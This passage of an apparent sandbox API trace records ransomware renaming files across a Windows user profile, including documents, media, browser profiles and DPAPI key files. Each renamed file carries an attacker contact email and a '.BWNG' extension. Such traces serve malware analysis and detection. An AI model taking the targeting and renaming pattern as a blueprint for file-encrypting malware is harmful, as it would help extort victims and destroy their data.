HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].63jdY2U7-1xZVSr8s.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].63jdy2u7-1xzvsr8s.bwng"), dwFlags=0x1) returned 1 [0136.047] GetTickCount () returned 0x1169702 [0136.047] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27799907811) returned 1 [0136.047] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\[billwong73@yahoo.com].g0WTaM3W-4XpaMK68.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\[billwong73@yahoo.com].g0wtam3w-4xpamk68.bwng"), dwFlags=0x1) returned 1 [0136.048] GetTickCount () returned 0x1169712 [0136.048] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27800040795) returned 1 [0136.048] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\A9B8213768ADC68AF64FCC6409E8BE414726687F.crl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\crlcache\\a9b8213768adc68af64fcc6409e8be414726687f.crl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\[billwong73@yahoo.com].RC8gh0Id-XLT3n63P.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\crlcache\\[billwong73@yahoo.com].rc8gh0id-xlt3n63p.bwng"), dwFlags=0x1) returned 1 [0136.050] GetTickCount () returned 0x1169712 [0136.050] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27800179636) returned 1 [0136.050] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Lczok9_ORAkzNpp.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\lczok9_orakznpp.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\[billwong73@yahoo.com].u8nrnTNc-h1z9aqHn.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\[billwong73@yahoo.com].u8nrntnc-h1z9aqhn.bwng"), dwFlags=0x1) returned 1 [0136.051] GetTickCount () returned 0x1169712 [0136.051] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27800332134) returned 1 [0136.051] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\102a7bc8-3f85-4bb4-840a-38257d2965d2" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\102a7bc8-3f85-4bb4-840a-38257d2965d2"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\[billwong73@yahoo.com].qhnWkxgY-FSYGFQu0.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\[billwong73@yahoo.com].qhnwkxgy-fsygfqu0.bwng"), dwFlags=0x1) returned 1 [0136.053] GetTickCount () returned 0x1169712 [0136.053] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27800507411) returned 1 [0136.053] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\bookmarks-2017-06-16_5.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\bookmarkbackups\\bookmarks-2017-06-16_5.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\[billwong73@yahoo.com].QfOzNUUt-CaTWrtwQ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\bookmarkbackups\\[billwong73@yahoo.com].qfoznuut-catwrtwq.bwng"), dwFlags=0x1) returned 1 [0136.054] GetTickCount () returned 0x1169712 [0136.054] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27800648883) returned 1 [0136.055] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\[billwong73@yahoo.com].KYvxgCSm-flYa4VQa.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\[billwong73@yahoo.com].kyvxgcsm-flya4vqa.bwng"), dwFlags=0x1) returned 1 [0136.065] GetTickCount () returned 0x1169722 [0136.065] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27801737399) returned 1 [0136.065] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\WhXeDYvOB.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\whxedyvob.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\[billwong73@yahoo.com].GBJjcNax-CsqXB9s1.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\[billwong73@yahoo.com].gbjjcnax-csqxb9s1.bwng"), dwFlags=0x1) returned 1 [0136.067] GetTickCount () returned 0x1169722 [0136.067] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27801912526) returned 1 [0136.067] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2_qVXIpf.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2_qvxipf.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].uUPOKkZQ-jk9knFKF.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].uupokkzq-jk9knfkf.bwng"), dwFlags=0x1) returned 1 [0136.068] GetTickCount () returned 0x1169722 [0136.068] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27802062018) returned 1 [0136.069] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MFPH 6_XsCHmyZ.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mfph 6_xschmyz.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].uSP8VeDY-prKqU4cf.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].usp8vedy-prkqu4cf.bwng"), dwFlags=0x1) returned 1 [0136.070] GetTickCount () returned 0x1169722 [0136.070] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27802227905) returned 1 [0136.070] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\[billwong73@yahoo.com].zXB4Ab9v-xECS7LnF.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\[billwong73@yahoo.com].zxb4ab9v-xecs7lnf.bwng"), dwFlags=0x1) returned 1 [0136.071] GetTickCount () returned 0x1169722 [0136.071] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27802354331) returned 1 [0136.072] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\[billwong73@yahoo.com].P9JvCigH-WPJce69w.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\[billwong73@yahoo.com].p9jvcigh-wpjce69w.bwng"), dwFlags=0x1) returned 1 [0136.073] GetTickCount () returned 0x1169722 [0136.073] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27802489358) returned 1 [0136.073] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\desktop.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\[billwong73@yahoo.com].KiSlBS16-pBJsnYL4.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\[billwong73@yahoo.com].kislbs16-pbjsnyl4.bwng"), dwFlags=0x1) returned 1 [0136.074] GetTickCount () returned 0x1169722 [0136.074] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27802618906) returned 1 [0136.074] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\9LA-PCAWpyaYG3S Tl.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\9la-pcawpyayg3s tl.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].TnYuCdHj-DeDekJqW.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].tnyucdhj-dedekjqw.bwng"), dwFlags=0x1) returned 1 [0136.075] GetTickCount () returned 0x1169722 [0136.075] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27802750577) returned 1 [0136.076] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Il-9iojkNFk.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\il-9iojknfk.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].9tESt2QV-4E2737FM.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].9test2qv-4e2737fm.bwng"), dwFlags=0x1) returned 1 [0136.164] GetTickCount () returned 0x116977f [0136.164] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27811584741) returned 1 [0136.164] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\T64T1JukHD10.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\t64t1jukhd10.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].Ymu85Eab-NzXXr2Bf.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].ymu85eab-nzxxr2bf.bwng"), dwFlags=0x1) returned 1 [0136.165] GetTickCount () returned 0x116977f [0136.165] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27811766580) returned 1 [0136.166] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_BEWI_Mf0KwTR.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\_bewi_mf0kwtr.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].kUQSeUTu-PU6qaUcC.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].kuqseutu-pu6qaucc.bwng"), dwFlags=0x1) returned 1 [0136.167] GetTickCount () returned 0x116977f [0136.167] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27811906800) returned 1 [0136.167] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FBwe\\RzYGvPHXb4z7Angw_6s.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fbwe\\rzygvphxb4z7angw_6s.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FBwe\\[billwong73@yahoo.com].e6KZMAPr-38YT8hKs.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fbwe\\[billwong73@yahoo.com].e6kzmapr-38yt8hks.bwng"), dwFlags=0x1) returned 1 [0136.168] GetTickCount () returned 0x116977f [0136.168] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27812046656) returned 1 [0136.169] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NQ9coU\\TWI4uH3aOgOpKVKVVdx4.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nq9cou\\twi4uh3aogopkvkvvdx4.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NQ9coU\\[billwong73@yahoo.com].ZjETND9B-U15elSPa.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nq9cou\\[billwong73@yahoo.com].zjetnd9b-u15elspa.bwng"), dwFlags=0x1) returned 1 [0136.170] GetTickCount () returned 0x116977f [0136.170] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27812184143) returned 1 [0136.170] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\[billwong73@yahoo.com].luUIklTL-cyl1GzbF.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\[billwong73@yahoo.com].luuikltl-cyl1gzbf.bwng"), dwFlags=0x1) returned 1 [0136.171] GetTickCount () returned 0x116977f [0136.171] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27812303238) returned 1 [0136.171] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QXKck1G4fFrIbqKfN\\8INl3nDsCF6wO.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qxkck1g4ffribqkfn\\8inl3ndscf6wo.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QXKck1G4fFrIbqKfN\\[billwong73@yahoo.com].iDD6Wsq8-SOVjlKMW.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qxkck1g4ffribqkfn\\[billwong73@yahoo.com].idd6wsq8-sovjlkmw.bwng"), dwFlags=0x1) returned 1 [0136.172] GetTickCount () returned 0x116977f [0136.172] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27812439389) returned 1 [0136.172] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QXKck1G4fFrIbqKfN\\ZA2pAShOT3T7ZXiTE.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qxkck1g4ffribqkfn\\za2pashot3t7zxite.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QXKck1G4fFrIbqKfN\\[billwong73@yahoo.com].uUl56E6l-H7JTarLH.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qxkck1g4ffribqkfn\\[billwong73@yahoo.com].uul56e6l-h7jtarlh.bwng"), dwFlags=0x1) returned 1 [0136.177] GetTickCount () returned 0x116978f [0136.177] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27812944806) returned 1 [0136.178] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\T2gft44uk0A-Q8336.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\t2gft44uk0a-q8336.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\[billwong73@yahoo.com].ObDaDxlG-r8GVpEiN.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\[billwong73@yahoo.com].obdadxlg-r8gvpein.bwng"), dwFlags=0x1) returned 1 [0136.179] GetTickCount () returned 0x116978f [0136.179] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27813095790) returned 1 [0136.179] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\adberdrupd10110_mui.msp"), lpNewFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\[billwong73@yahoo.com].BbHqxs3g-lWyfn3wM.BWNG" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\[billwong73@yahoo.com].bbhqxs3g-lwyfn3wm.bwng"), dwFlags=0x1) returned 0 [0136.179] GetTickCount () returned 0x116978f [0136.179] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27813155802) returned 1 [0136.180] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSOUC.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.msouc.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\[billwong73@yahoo.com].FiPHyUZS-WWgqygBu.BWNG" (normalized: "c:\\users\\all users\\microsoft help\\[billwong73@yahoo.com].fiphyuzs-wwgqygbu.bwng"), dwFlags=0x1) returned 0 [0136.180] GetTickCount () returned 0x116978f [0136.180] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27813199862) returned 1 [0136.180] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.SETLANG.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.setlang.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\[billwong73@yahoo.com].U7iU7XTZ-9KRxqHgc.BWNG" (normalized: "c:\\users\\all users\\microsoft help\\[billwong73@yahoo.com].u7iu7xtz-9krxqhgc.bwng"), dwFlags=0x1) returned 0 [0136.180] GetTickCount () returned 0x116978f [0136.180] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27813248816) returned 1 [0136.181] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\nslist.hxl" (normalized: "c:\\users\\all users\\microsoft help\\nslist.hxl"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\[billwong73@yahoo.com].RfS5qp3N-9112u4LG.BWNG" (normalized: "c:\\users\\all users\\microsoft help\\[billwong73@yahoo.com].rfs5qp3n-9112u4lg.bwng"), dwFlags=0x1) returned 0 [0136.181] GetTickCount () returned 0x116978f [0136.181] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27813297628) returned 1 [0136.181] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\[billwong73@yahoo.com].cLCCoi00-nmGDEWeU.BWNG" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\[billwong73@yahoo.com].clccoi00-nmgdeweu.bwng"), dwFlags=0x1) returned 0 [0136.181] GetTickCount () returned 0x116978f [0136.181] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27813341734) returned 1 [0136.181] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\[billwong73@yahoo.com].wh6eOw8O-zrpgIlxr.BWNG" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\[billwong73@yahoo.com].wh6eow8o-zrpgilxr.bwng"), dwFlags=0x1) returned 0 [0136.182] GetTickCount () returned 0x116978f [0136.182] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27813395571) returned 1 [0136.182] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\[billwong73@yahoo.com].3Q6YbJcb-J97jK9wO.BWNG" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\[billwong73@yahoo.com].3q6ybjcb-j97jk9wo.bwng"), dwFlags=0x1) returned 0 [0136.182] GetTickCount () returned 0x116978f [0136.182] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27813447227) returned 1 [0136.183] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\[billwong73@yahoo.com].bpwUlg8m-VTp5QJk3.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\[billwong73@yahoo.com].bpwulg8m-vtp5qjk3.bwng"), dwFlags=0x1) returned 1 [0136.184] GetTickCount () returned 0x116978f [0136.184] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27813578938) returned 1 [0136.184] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\currentdatabase_372.wmdb"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\[billwong73@yahoo.com].km2jGNUe-Wj57Oypu.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\[billwong73@yahoo.com].km2jgnue-wj57oypu.bwng"), dwFlags=0x1) returned 1 [0136.185] GetTickCount () returned 0x116978f [0136.185] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27813722022) returned 1 [0136.185] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\09_music_played_the_most.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\[billwong73@yahoo.com].mJ3c3Rd3-8JDSeg8c.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\[billwong73@yahoo.com].mj3c3rd3-8jdseg8c.bwng"), dwFlags=0x1) returned 1 [0136.186] GetTickCount () returned 0x116978f [0136.186] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27813842659) returned 1 [0136.186] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edbres00001.jrs"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\[billwong73@yahoo.com].eRoyBYyT-mf9xmiaM.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\[billwong73@yahoo.com].eroybyyt-mf9xmiam.bwng"), dwFlags=0x1) returned 1 [0136.187] GetTickCount () returned 0x116978f [0136.187] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27813970365) returned 1 [0136.188] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\[billwong73@yahoo.com].fmZGD75s-A6kXhqHN.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\[billwong73@yahoo.com].fmzgd75s-a6kxhqhn.bwng"), dwFlags=0x1) returned 1 [0136.375] GetTickCount () returned 0x116984a [0136.375] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27832724471) returned 1 [0136.378] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\[billwong73@yahoo.com].0bHl9CvX-48w9RvWX.BWNG" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\[billwong73@yahoo.com].0bhl9cvx-48w9rvwx.bwng"), dwFlags=0x1) returned 1 [0136.380] GetTickCount () returned 0x116985a [0136.380] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27833239898) returned 1 [0136.381] MoveFileExW 